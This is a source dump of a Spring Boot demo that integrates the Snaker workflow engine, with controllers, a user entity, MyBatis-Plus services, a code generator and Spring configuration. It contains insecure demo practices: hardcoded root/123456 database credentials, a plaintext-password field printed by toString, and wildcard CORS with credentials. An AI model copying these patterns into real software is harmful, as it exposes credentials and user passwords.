(StringUtils.isNotBlank(processId)) {\n            return ResponseData.ok().putDataValue(\"message\",\n                    \"部署成功\").putDataValue(\"prcessId\", processId);\n        } else {\n            return ResponseData.notFound();\n        }\n    }\n\n    @RequestMapping(value = \"/getProcess\", method = RequestMethod.GET)\n    public ResponseData getProcess() {\n        String processId = \"a6a45d2712a940c3a05c3bb83d0d21a4\";\n        String operator = \"liuxzh_userId\";\n        Map<String, Object> args = new HashMap<String, Object>();\n        args.put(\"quanju var\", \"全局变量\");\n\n        Order order = snakerEngineFacade.startInstanceById(processId, operator, args);\n        if (StringUtils.isNotBlank(order.getId())) {\n            System.out.println(order.getId());\n            return ResponseData.ok().putDataValue(\"message\",\n                    \"启动流程实例成功\");\n        } else {\n            return ResponseData.notFound();\n        }\n    }\n\n    @RequestMapping(value = \"/getAllProcessNames\", method = RequestMethod.GET)\n    public ResponseData getAllProcessNames() {\n\n        List<String> names = snakerEngineFacade.getAllProcessNames();\n\n        if (StringUtils.isNotBlank(names.size()+\"\")) {\n            for (String name : names) {\n                System.out.println(name);\n            }\n            return ResponseData.ok().putDataValue(\"message\",\n                    \"所有流程名称获取成功\");\n        } else {\n            return ResponseData.notFound();\n        }\n    }\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/entity/SecUser.java",
    "content": "package com.snakerflow.demo.api.entity;\n\nimport com.baomidou.mybatisplus.extension.activerecord.Model;\nimport com.baomidou.mybatisplus.annotation.TableField;\nimport java.io.Serializable;\n\n/**\n * <p>\n * \n * </p>\n *\n * @author liuxzh\n * @since 2018-12-20\n */\npublic class SecUser extends Model<SecUser> {\n\n    private static final long serialVersionUID = 1L;\n\n    private String address;\n\n    private Integer age;\n\n    private String email;\n\n    private String enabled;\n\n    private String fullname;\n\n    private String password;\n\n    @TableField(\"plainPassword\")\n    private String plainPassword;\n\n    private String salt;\n\n    private String sex;\n\n    private Integer type;\n\n    private String username;\n\n    private Integer org;\n\n    public String getAddress() {\n        return address;\n    }\n\n    public void setAddress(String address) {\n        this.address = address;\n    }\n    public Integer getAge() {\n        return age;\n    }\n\n    public void setAge(Integer age) {\n        this.age = age;\n    }\n    public String getEmail() {\n        return email;\n    }\n\n    public void setEmail(String email) {\n        this.email = email;\n    }\n    public String getEnabled() {\n        return enabled;\n    }\n\n    public void setEnabled(String enabled) {\n        this.enabled = enabled;\n    }\n    public String getFullname() {\n        return fullname;\n    }\n\n    public void setFullname(String fullname) {\n        this.fullname = fullname;\n    }\n    public String getPassword() {\n        return password;\n    }\n\n    public void setPassword(String password) {\n        this.password = password;\n    }\n    public String getPlainPassword() {\n        return plainPassword;\n    }\n\n    public void setPlainPassword(String plainPassword) {\n        this.plainPassword = plainPassword;\n    }\n    public String getSalt() {\n        return salt;\n    }\n\n    public void setSalt(String salt) {\n        this.salt = salt;\n    }\n    public String getSex() {\n        return sex;\n    }\n\n    public void setSex(String sex) {\n        this.sex = sex;\n    }\n    public Integer getType() {\n        return type;\n    }\n\n    public void setType(Integer type) {\n        this.type = type;\n    }\n    public String getUsername() {\n        return username;\n    }\n\n    public void setUsername(String username) {\n        this.username = username;\n    }\n    public Integer getOrg() {\n        return org;\n    }\n\n    public void setOrg(Integer org) {\n        this.org = org;\n    }\n\n    @Override\n    protected Serializable pkVal() {\n        return null;\n    }\n\n    @Override\n    public String toString() {\n        return \"SecUser{\" +\n        \"address=\" + address +\n        \", age=\" + age +\n        \", email=\" + email +\n        \", enabled=\" + enabled +\n        \", fullname=\" + fullname +\n        \", password=\" + password +\n        \", plainPassword=\" + plainPassword +\n        \", salt=\" + salt +\n        \", sex=\" + sex +\n        \", type=\" + type +\n        \", username=\" + username +\n        \", org=\" + org +\n        \"}\";\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/mapper/SecUserMapper.java",
    "content": "package com.snakerflow.demo.api.mapper;\n\nimport com.snakerflow.demo.api.entity.SecUser;\nimport com.baomidou.mybatisplus.core.mapper.BaseMapper;\n\n/**\n * <p>\n *  Mapper 接口\n * </p>\n *\n * @author liuxzh\n * @since 2018-12-20\n */\npublic interface SecUserMapper extends BaseMapper<SecUser> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/service/ISecUserService.java",
    "content": "package com.snakerflow.demo.api.service;\n\nimport com.snakerflow.demo.api.entity.SecUser;\nimport com.baomidou.mybatisplus.extension.service.IService;\n\n/**\n * <p>\n *  服务类\n * </p>\n *\n * @author liuxzh\n * @since 2018-12-20\n */\npublic interface ISecUserService extends IService<SecUser> {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/service/IWorkflowService.java",
    "content": "package com.snakerflow.demo.api.service;\n\npublic interface IWorkflowService {\n    public Integer deployWf();\n}\n\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/service/impl/SecUserServiceImpl.java",
    "content": "package com.snakerflow.demo.api.service.impl;\n\nimport com.snakerflow.demo.api.entity.SecUser;\nimport com.snakerflow.demo.api.mapper.SecUserMapper;\nimport com.snakerflow.demo.api.service.ISecUserService;\nimport com.baomidou.mybatisplus.extension.service.impl.ServiceImpl;\nimport org.springframework.stereotype.Service;\n\n/**\n * <p>\n *  服务实现类\n * </p>\n *\n * @author liuxzh\n * @since 2018-12-20\n */\n@Service\npublic class SecUserServiceImpl extends ServiceImpl<SecUserMapper, SecUser> implements ISecUserService {\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/api/service/impl/WorkflowServiceImpl.java",
    "content": "package com.snakerflow.demo.api.service.impl;\n\nimport com.snakerflow.demo.api.service.IWorkflowService;\nimport com.snakerflow.demo.utils.SnakerEngineFacadeImpl;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Service;\n\n@Service\npublic class WorkflowServiceImpl implements IWorkflowService {\n    @Autowired\n    private SnakerEngineFacadeImpl snakerEngineFacade;\n    @Override\n    public Integer deployWf() {\n\n        return null;\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/generator/CodeGenerator.java",
    "content": "package com.snakerflow.demo.generator;\n\nimport com.baomidou.mybatisplus.core.exceptions.MybatisPlusException;\nimport com.baomidou.mybatisplus.core.toolkit.StringPool;\nimport com.baomidou.mybatisplus.core.toolkit.StringUtils;\nimport com.baomidou.mybatisplus.generator.AutoGenerator;\nimport com.baomidou.mybatisplus.generator.InjectionConfig;\nimport com.baomidou.mybatisplus.generator.config.*;\nimport com.baomidou.mybatisplus.generator.config.po.TableInfo;\nimport com.baomidou.mybatisplus.generator.config.rules.NamingStrategy;\nimport com.baomidou.mybatisplus.generator.engine.FreemarkerTemplateEngine;\n\nimport java.util.ArrayList;\nimport java.util.List;\nimport java.util.Scanner;\n\n// 演示例子，执行 main 方法控制台输入模块表名回车自动生成对应项目目录中\npublic class CodeGenerator {\n\n    /**\n     * <p>\n     * 读取控制台内容\n     * </p>\n     */\n    public static String scanner(String tip) {\n        Scanner scanner = new Scanner(System.in);\n        StringBuilder help = new StringBuilder();\n        help.append(\"请输入\" + tip + \"：\");\n        System.out.println(help.toString());\n        if (scanner.hasNext()) {\n            String ipt = scanner.next();\n            if (StringUtils.isNotEmpty(ipt)) {\n                return ipt;\n            }\n        }\n        throw new MybatisPlusException(\"请输入正确的\" + tip + \"！\");\n    }\n\n    public static void main(String[] args) {\n        // 代码生成器\n        AutoGenerator mpg = new AutoGenerator();\n\n        // 全局配置\n        GlobalConfig gc = new GlobalConfig();\n        //当前工程路径\n        final String projectPath = System.getProperty(\"user.dir\");\n        gc.setOutputDir(projectPath + \"/src/main/java\");//生成文件的输出目录【默认 D 盘根目录】\n        gc.setAuthor(\"liuxzh\");//开发人员\n        gc.setOpen(false);//是否打开输出目录\n        gc.setFileOverride(false);// 是否覆盖已有同名文件，默认是false\n        gc.setActiveRecord(true);// 开启 ActiveRecord 模式，默认是false\n        gc.setEnableCache(false);// 是否在xml中添加二级缓存配置，默认是false\n        gc.setBaseResultMap(true);// 开启 BaseResultMap，默认是false\n        gc.setBaseColumnList(true);// 开启 baseColumnList，默认是false\n        /*\n        * 各层文件名称方式，例如： %sAction 生成 UserAction\n        * %s 为占位符，注意 %s 会自动填充表实体属性！\n        */\n         //gc.setMapperName(\"%sDao\");//默认UserMapper.xml\n         //gc.setXmlName(\"%sDao\");//默认UserMapper.xml\n         //gc.setServiceName(\"MP%sService\");//默认IUserService.java\n         //gc.setServiceImplName(\"%sServiceDiy\");//默认UserServiceImpl.java\n         //gc.setControllerName(\"%sAction\");//默认UserController.java\n        mpg.setGlobalConfig(gc);\n\n        // 数据源配置\n        DataSourceConfig dsc = new DataSourceConfig();\n        dsc.setUrl(\"jdbc:mysql://127.0.0.1:3306/snaker-web?useUnicode=true&useSSL=false&characterEncoding=utf8\");\n        //dsc.setSchemaName(\"public\");//PostgreSQL schemaName\n        dsc.setDriverName(\"com.mysql.jdbc.Driver\");\n        dsc.setUsername(\"root\");\n        dsc.setPassword(\"123456\");\n        mpg.setDataSource(dsc);\n\n        // 包配置\n        final PackageConfig pc = new PackageConfig();\n        pc.setModuleName(scanner(\"模块名\"));//父包模块名,默认null\n        //父包名。如果为空，将下面子包名必须写全部， 否则就只需写子包名\n        pc.setParent(\"com.snakerflow.demo\");//默认com.baomidou\n        //pc.setController(\"liuxzhController\");//默认controller\n        //pc.setService(\"liuxzhService\");//默认service\n        //pc.setServiceImpl(\"liuxzhService.impl\");//默认service.impl\n        //pc.setEntity(\"liuxzhEntity\");//默认entity\n        //pc.setMapper(\"liuxzhMapper\");//默认mapper\n        //pc.setXml(\"liuxzhMapper.xml\");//默认mapper.xml\n        mpg.setPackageInfo(pc);\n\n        // 自定义配置\n        InjectionConfig cfg = new InjectionConfig() {\n            @Override\n            public void initMap() {\n                // to do nothing\n            }\n        };\n\n        // 如果模板引擎是 freemarker\n        String templatePath = \"/templates/mapper.xml.ftl\";\n        // 如果模板引擎是 velocity\n//         String templatePath = \"/templates/mapper.xml.vm\";\n\n        // 自定义输出配置\n        List<FileOutConfig> focList = new ArrayList<>();\n        // 自定义配置会被优先输出\n        focList.add(new FileOutConfig(templatePath) {\n            @Override\n            public String outputFile(TableInfo tableInfo) {\n                // 自定义输出文件名\n                return projectPath + \"/src/main/resources/mapper/\" + pc.getModuleName()\n                        + \"/\" + tableInfo.getEntityName() + \"Mapper\" + StringPool.DOT_XML;\n            }\n        });\n\n        cfg.setFileOutConfigList(focList);\n        mpg.setCfg(cfg);\n\n        // 配置模板\n        TemplateConfig templateConfig = new TemplateConfig();\n\n        // 配置自定义输出模板\n        // templateConfig.setEntity();\n        // templateConfig.setService();\n        // templateConfig.setController();\n\n        templateConfig.setXml(null);\n        mpg.setTemplate(templateConfig);\n\n        // 策略配置\n        StrategyConfig strategy = new StrategyConfig();\n        //数据库表映射到实体的命名策略，默认：不做任何改变，原样输出\n        strategy.setNaming(NamingStrategy.underline_to_camel);\n        //数据库表字段映射到实体的命名策略，未指定按照 naming 执行\n        strategy.setColumnNaming(NamingStrategy.underline_to_camel);\n        //【实体】是否为lombok模型（默认 false）\n        //strategy.setEntityLombokModel(true);\n        //生成@RestController 控制器\n        strategy.setRestControllerStyle(true);\n        //自定义继承的Controller类全称，带包名\n        //strategy.setSuperControllerClass(\"com.mybatisplus.demo.common.BaseController\");\n        //strategy.setSuperServiceClass();\n        //strategy.setSuperServiceImplClass();\n        //strategy.setSuperMapperClass(\"com.mybatisplus.demo.common.BaseMapper\");\n        //strategy.setSuperEntityClass(\"com.mybatisplus.demo.common.BaseEntity\");//自定义继承的Entity类全称，带包名\n\n        strategy.setInclude(scanner(\"表名\"));//表明String数组\n        strategy.setSuperEntityColumns(\"id\");\n        // 驼峰转连字符:\n        // @RequestMapping(\"/managerUserActionHistory\")-->@RequestMapping(\"/manager-user-action-history\")\n        strategy.setControllerMappingHyphenStyle(false);\n        strategy.setTablePrefix(pc.getModuleName() + \"_\");//表前缀\n\n        mpg.setStrategy(strategy);//数据库表配置\n        mpg.setTemplateEngine(new FreemarkerTemplateEngine());// 选择 freemarker 引擎，默认 Veloctiy\n\n        //生成代码\n        mpg.execute();\n    }\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/utils/ResponseData.java",
    "content": "/*\n * @(#)ResponseData.java\n * Copyright (C) 2018 Neusoft Corporation All rights reserved.\n *\n * VERSION        DATE       BY              CHANGE/COMMENT\n * ----------------------------------------------------------------------------\n * @version 1.00  2018-03-21 liubsh          初版\n *\n */\n\npackage com.snakerflow.demo.utils;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\nimport javax.servlet.http.HttpServletResponse;\n\n/**\n * TODO 类型描述。\n *\n * @since inkstone-project-web v1.0\n * @version 1.00\n * @author liubsh\n */\npublic class ResponseData {\n    \n    public static final String ERRORS_KEY = \"errors\";  \n    \n    private final String message;  \n    private final int code;  \n    private final Map<String, Object> body = new HashMap<>();  \n  \n    public String getMessage() {  \n        return message;  \n    }  \n  \n    public int getCode() {  \n        return code;  \n    }  \n  \n    public Map<String, Object> getBody() {  \n        return body;  \n    }  \n      \n    public ResponseData putDataValue(String key, Object value) {  \n        body.put(key, value);  \n        return this;  \n    }  \n      \n    private ResponseData(int code, String message) {  \n        this.code = code;  \n        this.message = message;  \n    }  \n    \n    /**\n     * TODO 方法说明。\n     * [GET]：服务器成功返回用户请求的数据，该操作是幂等的（Idempotent）。\n     * @return\n     */\n    public static ResponseData ok() {  \n        return new ResponseData(200, \"OK\");  \n    }  \n    \n    /**\n     * TODO 方法说明。\n     * [POST/PUT/PATCH]：用户新建或修改数据成功。\n     * @return\n     */\n    public static ResponseData createdOrUpdate() {  \n        return new ResponseData(201, \"CREATED\");  \n    }  \n    \n    /**\n     * TODO 方法说明。\n     * [*]：表示一个请求已经进入后台排队（异步任务）\n     * @return\n     */\n    public static ResponseData acceptedRequest() {  \n        return new ResponseData(202, \"Accepted\");  \n    }  \n      \n    /**\n     * TODO 方法说明。\n     * [DELETE]：用户删除数据成功。\n     * @return\n     */\n    public static ResponseData deleteOk() {  \n        return new ResponseData(204, \"NO CONTENT\");  \n    }  \n    \n    /**\n     * TODO 方法说明。\n     * 未授权访问,表示用户没有权限（令牌、用户名、密码错误）\n     * @return\n     */\n    public static ResponseData unauthorized() {  \n        return new ResponseData(401, \"未授权访问!\");  \n    } \n    \n    /**\n     * TODO 方法说明。\n     * 越权访问,没有修改资源的访问权限\n     * @return\n     */\n    public static ResponseData outOfBounds() {  \n        return new ResponseData(403, \"您没有改资源的访问权限!\");  \n    }  \n      \n    \n    /**\n     * TODO 方法说明。\n     * 没有找到对象\n     * @return\n     */\n    public static ResponseData notFound() {  \n        return new ResponseData(404, \"not found\");  \n    }\n    \n    /**\n     * TODO 方法说明。\n     * 方法错误\n     * @return\n     */\n    public static ResponseData serverInternalError() {  \n        return new ResponseData(500, \"Server Internal Error\");  \n    }\n\n    public static void setResponse(HttpServletResponse response){\n        response.setContentType(\"application/json;charset=UTF-8\");\n        response.setHeader(\"Pragma\", \"No-cache\");\n        response.setHeader(\"Cache-Control\", \"no-cache\");\n        response.setDateHeader(\"Expires\", 0);\n        response.setHeader(\"Access-Control-Allow-Origin\", \"*\");\n        response.setHeader(\"access-control-allow-methods\", \"POST, GET,HEAD, OPTIONS,PATCH, DELETE\");\n        response.setHeader(\"Access-Control-Max-Age\", \"3600\");\n        response.setHeader(\"Access-Control-Allow-Headers\", \"x-requested-with,Authorization\");\n        response.setHeader(\"access-control-allow-credentials\", \"true\");\n    }\n\n      \n    /*\n     *   调用实例\n     *   @GetMapping  \n     *   @ResponseBody  \n     *   public Map<String, Object> index() {  \n     *        \n     *      Map<String, Object> response = new HashMap<>();  \n     *      response.put(\"code\", 200);  \n     *      response.put(\"message\", \"Ok\");  \n     *      response.put(\"body\", new HashMap<String, String>());  \n     *      return response;  \n     *  }  \n     *   \n     *  @GetMapping(\"/test_response_data\")  \n     *  @ResponseBody  \n     *  public ResponseData testResponseData() { \n     *   \n     *      return ResponseData.ok().putDataValue(\"token\", \"XXXXXXXXXXXXXXXXXXXXXXX\");  \n     * \n     *  }  \n     * \n     */\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/utils/SnakerEngineFacade.java",
    "content": "package com.snakerflow.demo.utils;\n\nimport org.snaker.engine.access.Page;\nimport org.snaker.engine.access.QueryFilter;\nimport org.snaker.engine.entity.Order;\nimport org.snaker.engine.entity.Surrogate;\nimport org.snaker.engine.entity.Task;\n\nimport java.util.List;\nimport java.util.Map;\n\npublic interface SnakerEngineFacade {\n    public String deploy(String resourcesPath);\n    /**\n     * 得到所有流程定义的名称\n     *\n     * @return\n     */\n    public List<String> getAllProcessNames();\n\n    public Order startInstanceById(String processId, String operator, Map<String, Object> args);\n\n    public Order startInstanceByName(String name, Integer version, String operator, Map<String, Object> args);\n\n    public Order startAndExecute(String name, Integer version, String operator, Map<String, Object> args);\n\n    public Order startAndExecute(String processId, String operator, Map<String, Object> args);\n\n    public List<Task> execute(String taskId, String operator, Map<String, Object> args);\n\n    public List<Task> executeAndJump(String taskId, String operator, Map<String, Object> args, String nodeName);\n\n    public List<Task> transferMajor(String taskId, String operator, String... actors);\n\n    public List<Task> transferAidant(String taskId, String operator, String... actors);\n\n    public Map<String, Object> flowData(String orderId, String taskName);\n\n    public void addSurrogate(Surrogate entity) ;\n\n    public void deleteSurrogate(String id);\n\n    public Surrogate getSurrogate(String id);\n\n    public List<Surrogate> searchSurrogate(Page<Surrogate> page, QueryFilter filter);\n\n}"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/java/com/snakerflow/demo/utils/SnakerEngineFacadeImpl.java",
    "content": "package com.snakerflow.demo.utils;\n/* Copyright 2013-2015 www.snakerflow.com\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *     http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n\nimport org.apache.commons.lang.StringUtils;\nimport org.snaker.engine.IProcessService;\nimport org.snaker.engine.SnakerEngine;\nimport org.snaker.engine.access.Page;\nimport org.snaker.engine.access.QueryFilter;\nimport org.snaker.engine.entity.*;\nimport org.snaker.engine.entity.Process;\nimport org.snaker.engine.helper.StreamHelper;\nimport org.snaker.engine.model.TaskModel.TaskType;\nimport org.springframework.beans.factory.InitializingBean;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.stereotype.Component;\n\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * @Component（把普通pojo实例化到spring容器中，相当于配置文件中的 <bean id=\"\" class=\"\"/>）\n *\n */\n@Component(\"SnakerEngineFacade\")\npublic class SnakerEngineFacadeImpl implements SnakerEngineFacade, InitializingBean {\n\n    @Autowired\n    private SnakerEngine engine;\n\n    private IProcessService process;\n\n    public SnakerEngine getEngine() {\n        return engine;\n    }\n    @Override\n    public void afterPropertiesSet() throws Exception {\n        process = engine.process();\n    }\n\n    public IProcessService getProcess() {\n        return process;\n    }\n\n    @Override\n    public String deploy(String resourcesPath) {\n        String processId = process.deploy(StreamHelper\n                .getStreamFromClasspath(resourcesPath));\n        return processId;\n    }\n\n    /**\n     * 得到所有流程定义的名称\n     *\n     * @return\n     */\n    public List<String> getAllProcessNames() {\n        List<Process> list = engine.process().getProcesss(new QueryFilter());\n        List<String> names = new ArrayList<String>();\n        for (Process entity : list) {\n            if (names.contains(entity.getName())) {\n                continue;\n            } else {\n                names.add(entity.getName());\n            }\n        }\n        return names;\n    }\n\n    public Order startInstanceById(String processId, String operator, Map<String, Object> args) {\n        return engine.startInstanceById(processId, operator, args);\n    }\n\n    public Order startInstanceByName(String name, Integer version, String operator, Map<String, Object> args) {\n        return engine.startInstanceByName(name, version, operator, args);\n    }\n\n    public Order startAndExecute(String name, Integer version, String operator, Map<String, Object> args) {\n        Order order = engine.startInstanceByName(name, version, operator, args);\n        List<Task> tasks = engine.query().getActiveTasks(new QueryFilter().setOrderId(order.getId()));\n        List<Task> newTasks = new ArrayList<Task>();\n        if (tasks != null && tasks.size() > 0) {\n            Task task = tasks.get(0);\n            newTasks.addAll(engine.executeTask(task.getId(), operator, args));\n        }\n        return order;\n    }\n\n    public Order startAndExecute(String processId, String operator, Map<String, Object> args) {\n        Order order = engine.startInstanceById(processId, operator, args);\n        List<Task> tasks = engine.query().getActiveTasks(new QueryFilter().setOrderId(order.getId()));\n        List<Task> newTasks = new ArrayList<Task>();\n        if (tasks != null && tasks.size() > 0) {\n            Task task = tasks.get(0);\n            newTasks.addAll(engine.executeTask(task.getId(), operator, args));\n        }\n        return order;\n    }\n\n    public List<Task> execute(String taskId, String operator, Map<String, Object> args) {\n        return engine.executeTask(taskId, operator, args);\n    }\n\n    public List<Task> executeAndJump(String taskId, String operator, Map<String, Object> args, String nodeName) {\n        return engine.executeAndJumpTask(taskId, operator, args, nodeName);\n    }\n\n    public List<Task> transferMajor(String taskId, String operator, String... actors) {\n        List<Task> tasks = engine.task().createNewTask(taskId, TaskType.Major.ordinal(), actors);\n        engine.task().complete(taskId, operator);\n        return tasks;\n    }\n\n    public List<Task> transferAidant(String taskId, String operator, String... actors) {\n        List<Task> tasks = engine.task().createNewTask(taskId, TaskType.Aidant.ordinal(), actors);\n        engine.task().complete(taskId, operator);\n        return tasks;\n    }\n\n    public Map<String, Object> flowData(String orderId, String taskName) {\n        Map<String, Object> data = new HashMap<String, Object>();\n        if (StringUtils.isNotEmpty(orderId) && StringUtils.isNotEmpty(taskName)) {\n            List<HistoryTask> histTasks = engine.query()\n                    .getHistoryTasks(\n                            new QueryFilter().setOrderId(orderId).setName(\n                                    taskName));\n            List<Map<String, Object>> vars = new ArrayList<Map<String, Object>>();\n            for (HistoryTask hist : histTasks) {\n                vars.add(hist.getVariableMap());\n            }\n            data.put(\"vars\", vars);\n            data.put(\"histTasks\", histTasks);\n        }\n        return data;\n    }\n\n    public void addSurrogate(Surrogate entity) {\n        if (entity.getState() == null) {\n            entity.setState(1);\n        }\n        engine.manager().saveOrUpdate(entity);\n    }\n\n    public void deleteSurrogate(String id) {\n        engine.manager().deleteSurrogate(id);\n    }\n\n    public Surrogate getSurrogate(String id) {\n        return engine.manager().getSurrogate(id);\n    }\n\n    public List<Surrogate> searchSurrogate(Page<Surrogate> page, QueryFilter filter) {\n        return engine.manager().getSurrogate(page, filter);\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/develop/application.properties",
    "content": "#debug=true\nspring.datasource.url = jdbc:mysql://localhost:3306/snaker-web?useUnicode=true&characterEncoding=utf-8\nspring.datasource.username = root\nspring.datasource.password = 123456\nspring.datasource.driverClassName = com.mysql.jdbc.Driver\nspring.datasource.max-active=40\nspring.datasource.max-idle=8\nspring.datasource.min-idle=8\nspring.datasource.initial-size=10\n\n#ȲЧ\nspring.devtools.restart.enabled=true\n#Ŀ¼\nspring.devtools.restart.additional-paths=src/main/java\n\n#TODO ģļ(Զ壩\nsnaker.workflow.model.path=snakerflow/examination.snaker\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/src/main/resources/config/develop/applicationContext.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<beans xmlns=\"http://www.springframework.org/schema/beans\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n       xmlns:tx=\"http://www.springframework.org/schema/tx\"\n       xmlns:context=\"http://www.springframework.org/schema/context\"\n       xmlns:aop=\"http://www.springframework.org/schema/aop\"\n       xsi:schemaLocation=\"http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.0.xsd\n\thttp://www.springframework.org/schema/tx http://www.springframework.org/schema/tx/spring-tx-3.0.xsd \n\thttp://www.springframework.org/schema/aop http://www.springframework.org/schema/aop/spring-aop-3.0.xsd \n\thttp://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.0.xsd\"\n       default-lazy-init=\"true\">\n\n    <description>Spring公共配置</description>\n\n    <context:annotation-config/>\n    <!--<context:component-scan base-package=\"com.snakerflow.demo\"/>-->\n    <!-- 定义受环境影响易变的变量 -->\n    <bean class=\"org.springframework.beans.factory.config.PropertyPlaceholderConfigurer\">\n        <property name=\"systemPropertiesModeName\" value=\"SYSTEM_PROPERTIES_MODE_OVERRIDE\"/>\n        <property name=\"ignoreResourceNotFound\" value=\"true\"/>\n        <property name=\"locations\">\n            <list>\n                <value>classpath*:/application.properties</value>\n            </list>\n        </property>\n    </bean>\n\n    <!--FIXME\n    <bean id=\"yamlProperties\" class=\"org.springframework.beans.factory.config.YamlPropertiesFactoryBean\">\n        <property name=\"resources\" value=\"classpath:application.yml\"/>\n    </bean>\n    <context:property-placeholder properties-ref=\"yamlProperties\"/>\n    -->\n\n    <!-- 数据源配置,使用应用内的DBCP数据库连接池 -->\n    <!--FIXME springboot数据源默认配置请看：org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration\n    东软框架目前使用的是默认数据源org.apache.tomcat.jdbc.pool.DataSource，\n    此处使用默认数据源之一：org.apache.commons.dbcp.BasicDataSource\n    -->\n    <bean id=\"dataSource\" class=\"org.apache.commons.dbcp.BasicDataSource\" destroy-method=\"close\">\n        <property name=\"driverClassName\" value=\"${spring.datasource.driverClassName}\"/>\n        <property name=\"url\" value=\"${spring.datasource.url}\"/>\n        <property name=\"username\" value=\"${spring.datasource.username}\"/>\n        <property name=\"password\" value=\"${spring.datasource.password}\"/>\n        <property name=\"maxIdle\" value=\"${spring.datasource.max-idle}\"/>\n        <property name=\"maxActive\" value=\"${spring.datasource.max-active}\"/>\n        <property name=\"defaultAutoCommit\" value=\"false\"/>\n    </bean>\n\n    <!--FIXME 不集成mybatis-plus请取消注释 mybatis：SqlSessionFactory Config -->\n    <!--<bean id=\"sqlSessionFactory\" class=\"org.mybatis.spring.SqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\"/>\n    </bean>-->\n\n    <!--FIXME 集成mybatis-plus请取消注释 mybatisplus：SqlSessionFactory Config -->\n    <!--集成mybatis-plus start-->\n    <bean id=\"sqlSessionFactory\" class=\"com.baomidou.mybatisplus.extension.spring.MybatisSqlSessionFactoryBean\">\n        <property name=\"configLocation\" value=\"classpath:mybatis.cfg.xml\"></property>\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n        <property name=\"typeAliasesPackage\" value=\"org.snaker.engine.entity\" />\n    </bean>\n    <!--集成mybatis-plus end-->\n\n    <!--snaker mybatis access start-->\n    <bean id=\"dbAccess\" class=\"org.snaker.engine.access.mybatis.MybatisAccess\">\n        <property name=\"sqlSessionFactory\" ref=\"sqlSessionFactory\"/>\n    </bean>\n    <!--snaker mybatis access end-->\n\n    <!--SnakerEngine配置 start-->\n    <context:component-scan base-package=\"org.snaker.engine\"/>\n    <bean id=\"engine\" class=\"org.snaker.engine.spring.SpringSnakerEngine\">\n        <property name=\"processService\" ref=\"processService\"/>\n        <property name=\"orderService\" ref=\"orderService\"/>\n        <property name=\"taskService\" ref=\"taskService\"/>\n        <property name=\"queryService\" ref=\"queryService\"/>\n        <property name=\"managerService\" ref=\"managerService\"/>\n    </bean>\n    <bean id=\"processService\" class=\"org.snaker.engine.core.ProcessService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n        <property name=\"cacheManager\" ref=\"cacheManager\"/>\n    </bean>\n    <bean id=\"orderService\" class=\"org.snaker.engine.core.OrderService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"taskService\" class=\"org.snaker.engine.core.TaskService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"managerService\" class=\"org.snaker.engine.core.ManagerService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"queryService\" class=\"org.snaker.engine.core.QueryService\">\n        <property name=\"access\" ref=\"dbAccess\"/>\n    </bean>\n    <bean id=\"cacheManager\" class=\"org.snaker.engine.cache.memory.MemoryCacheManager\"/>\n    <bean class=\"org.snaker.engine.impl.LogInterceptor\"/>\n    <bean class=\"org.snaker.engine.spring.SpelExpression\"/>\n    <!--SnakerEngine配置 end-->\n\n    <!-- 事务管理器配置-->\n    <bean id=\"transactionManager\" class=\"org.springframework.jdbc.datasource.DataSourceTransactionManager\">\n        <property name=\"dataSource\" ref=\"dataSource\"/>\n    </bean>\n\n    <tx:advice id=\"txAdvice\" transaction-manager=\"transactionManager\">\n        <tx:attributes>\n            <tx:method name=\"start*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"execute*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"save*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"delete*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"update*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"remove*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"assign*\" propagation=\"REQUIRED\"/>\n            <tx:method name=\"create*\" 